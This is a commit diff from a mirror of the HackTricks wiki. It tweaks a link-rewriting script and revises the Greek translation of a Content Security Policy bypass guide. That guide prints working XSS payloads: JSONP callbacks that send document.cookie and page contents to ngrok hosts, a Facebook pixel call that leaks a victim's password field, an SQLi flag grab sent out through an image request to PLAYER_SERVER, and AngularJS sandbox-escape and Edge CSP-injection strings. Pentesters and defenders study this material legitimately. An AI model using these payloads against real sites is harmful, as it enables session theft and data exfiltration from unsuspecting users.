mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
parent
ae96b7bb63
commit
305ac69a00
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
@ -9,7 +9,7 @@
|
||||
- [**Sourcebot**](https://www.sourcebot.dev/): Εργαλείο αναζήτησης κώδικα ανοιχτού κώδικα. Ευρετηρίαση και αναζήτηση σε χιλιάδες από τα αποθετήριά σας μέσω μιας σύγχρονης διαδικτυακής διεπαφής.
|
||||
- [**SourceGraph**](https://sourcegraph.com/search): Αναζητήστε σε εκατομμύρια αποθετήρια. Υπάρχει μια δωρεάν έκδοση και μια έκδοση επιχείρησης (με 15 ημέρες δωρεάν). Υποστηρίζει regexes.
|
||||
- [**Github Search**](https://github.com/search): Αναζητήστε σε όλο το Github. Υποστηρίζει regexes.
|
||||
- Ίσως είναι επίσης χρήσιμο να ελέγξετε και το [**Github Code Search**](https://cs.github.com/).
|
||||
- Ίσως είναι επίσης χρήσιμο να ελέγξετε και [**Github Code Search**](https://cs.github.com/).
|
||||
- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Αναζητήστε σε έργα Gitlab. Υποστηρίζει regexes.
|
||||
- [**SearchCode**](https://searchcode.com/): Αναζητήστε κώδικα σε εκατομμύρια έργα.
|
||||
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι το CSP
|
||||
## What is CSP
|
||||
|
||||
Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
|
||||
Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και την εκτέλεση κώδικα συμβολοσειράς μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
|
||||
|
||||
Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους όρους και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.
|
||||
|
||||
@ -41,7 +41,7 @@ object-src 'none';
|
||||
|
||||
- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
|
||||
- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch.
|
||||
- **child-src**: Προσδιορίζει επιτρεπόμενους πόρους για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
|
||||
- **child-src**: Προσδιορίζει επιτρεπόμενους πόρους για web workers και περιεχόμενα ενσωματωμένων πλαισίων.
|
||||
- **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Περιορίζει τα URLs για πλαίσια.
|
||||
- **frame-ancestors**: Προσδιορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόσιμο σε στοιχεία όπως `<frame>`, `<iframe>`, `<object>`, `<embed>`, και `<applet>`.
|
||||
@ -88,15 +88,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash.
|
||||
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα με nonce ή hash.
|
||||
- `'sha256-<hash>'`: Λευκή λίστα scripts με συγκεκριμένο sha256 hash.
|
||||
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή αν έχει λευκαστεί με nonce ή hash.
|
||||
- `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
|
||||
- `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
|
||||
- `https:`: Περιορίζει τα URLs σε αυτά που χρησιμοποιούν HTTPS.
|
||||
- `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
|
||||
- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.
|
||||
- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το filesystem.
|
||||
- `'report-sample'`: Συμπεριλαμβάνει ένα δείγμα του παραβιασμένου κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
|
||||
- `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφαλείας του πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).
|
||||
- `'strict-origin-when-cross-origin'`: Στέλνει πλήρεις διευθύνσεις URL κατά την εκτέλεση αιτημάτων ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
|
||||
- `'strict-origin-when-cross-origin'`: Στέλνει πλήρη URLs όταν γίνονται αιτήματα ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
|
||||
- `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
|
||||
|
||||
## Unsafe CSP Rules
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Αν μπορείτε με κάποιο τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικα JS σας, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
|
||||
Αν μπορείτε με κάποιο τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
|
||||
|
||||
### Wildcard (*)
|
||||
```yaml
|
||||
@ -161,7 +161,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**.
|
||||
|
||||
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε **κώδικα JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με τύπο **MIME όπως audio/\***.
|
||||
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***.
|
||||
|
||||
Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
@ -274,7 +274,7 @@ https://www.google.com/amp/s/example.com/
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και μια συγκεκριμένη τοποθεσία που είναι στη λίστα επιτρεπόμενων μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Οι τελικές σημεία JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:
|
||||
Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και μια συγκεκριμένη τοποθεσία που έχει εγκριθεί μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Οι τελικές διευθύνσεις JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -284,7 +284,7 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
||||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμες προς χρήση JSONP endpoints για CSP bypass διαφόρων ιστοσελίδων.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass διαφόρων ιστοσελίδων.**
|
||||
|
||||
Η ίδια ευπάθεια θα συμβεί αν το **έμπιστο endpoint περιέχει ένα Open Redirect** γιατί αν το αρχικό endpoint είναι έμπιστο, οι ανακατευθύνσεις είναι έμπιστες.
|
||||
|
||||
@ -293,9 +293,9 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:
|
||||
|
||||
| Οντότητα | Επιτρεπόμενος Τομέας | Δυνατότητες |
|
||||
| ----------------- | --------------------------------------------- | ------------ |
|
||||
| ----------------- | --------------------------------------------- | ------------- |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
@ -309,7 +309,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
ή
|
||||
or
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
@ -317,10 +317,10 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
|
||||
1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ.
|
||||
2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
|
||||
3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας.
|
||||
3. Μεταβείτε στις "Ρυθμίσεις -> Βασικές" και αποκτήστε το "App ID" σας.
|
||||
4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
|
||||
5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
|
||||
5. Μεταβείτε στον "Διαχειριστή Εκδηλώσεων" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Επιλέξτε την καρτέλα "Δοκιμαστικές Εκδηλώσεις" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
|
||||
|
||||
Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
|
||||
```JavaScript
|
||||
@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Όσον αφορά τα άλλα επτά τρίτα μέρη τομέων που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
|
||||
Όσον αφορά τους άλλους επτά τρίτους τομείς που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
@ -341,7 +341,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Ο περιηγητής θα φορτώσει τελικά `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
|
||||
Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από το `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
|
||||
|
||||
∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
@ -368,9 +368,9 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
|
||||
```
|
||||
### AngularJS events
|
||||
|
||||
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί το CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
|
||||
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, το οποίο αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί το CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, το οποίο περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
|
||||
|
||||
Κατευθύνοντας αυτόν τον πίνακα στο φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα απεικονίζει αυτή τη διαδικασία:
|
||||
Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα απεικονίζει αυτή τη διαδικασία:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -383,7 +383,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης callback functions και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό διαθέσιμο σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης callback functions και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό που είναι διαθέσιμος σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Λειτουργικά payloads:
|
||||
```html
|
||||
@ -399,7 +399,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
|
||||
Τι συμβαίνει όταν το CSP συναντά ανακατεύθυνση από την πλευρά του διακομιστή; Εάν η ανακατεύθυνση οδηγεί σε διαφορετική προέλευση που δεν επιτρέπεται, θα αποτύχει.
|
||||
|
||||
Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), εάν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.
|
||||
Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Διαδρομές και Ανακατευθύνσεις](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), εάν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.
|
||||
|
||||
Ακολουθεί ένα παράδειγμα:
|
||||
```html
|
||||
@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Αν το CSP είναι ρυθμισμένο σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP.
|
||||
|
||||
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από την πλευρά του διακομιστή σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
|
||||
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από τον server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
|
||||
|
||||
Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.
|
||||
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε σενάριο μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και `img-src *` σημαίνει ότι μπορείτε να χρησιμοποιήσετε στην ιστοσελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.
|
||||
|
||||
Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτή την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):
|
||||
Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
Από: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να **την ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Με Service Workers
|
||||
|
||||
@ -472,7 +472,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
|
||||
#### Edge
|
||||
|
||||
Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP απλά αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
|
||||
Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP μόνο αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
|
||||
Παράδειγμα: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; μέσω XSS (iframe) - Επίθεση χρόνου
|
||||
@ -480,7 +480,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
Προσέξτε την έλλειψη της οδηγίας `'unsafe-inline'`\
|
||||
Αυτή τη φορά μπορείτε να κάνετε το θύμα να **φορτώσει** μια σελίδα υπό **τον έλεγχό** σας μέσω **XSS** με ένα `<iframe`. Αυτή τη φορά θα κάνετε το θύμα να έχει πρόσβαση στη σελίδα από όπου θέλετε να εξάγετε πληροφορίες (**CSRF**). Δεν μπορείτε να έχετε πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείτε να **ελέγξετε τον χρόνο που χρειάζεται η σελίδα για να φορτώσει** μπορείτε να εξάγετε τις πληροφορίες που χρειάζεστε.
|
||||
|
||||
Αυτή τη φορά μια **σημαία** θα εξαχθεί, όποτε μια **χαρακτήρας μαντεύεται σωστά** μέσω SQLi η **απάντηση** χρειάζεται **περισσότερο χρόνο** λόγω της λειτουργίας ύπνου. Έτσι, θα είστε σε θέση να εξάγετε τη σημαία:
|
||||
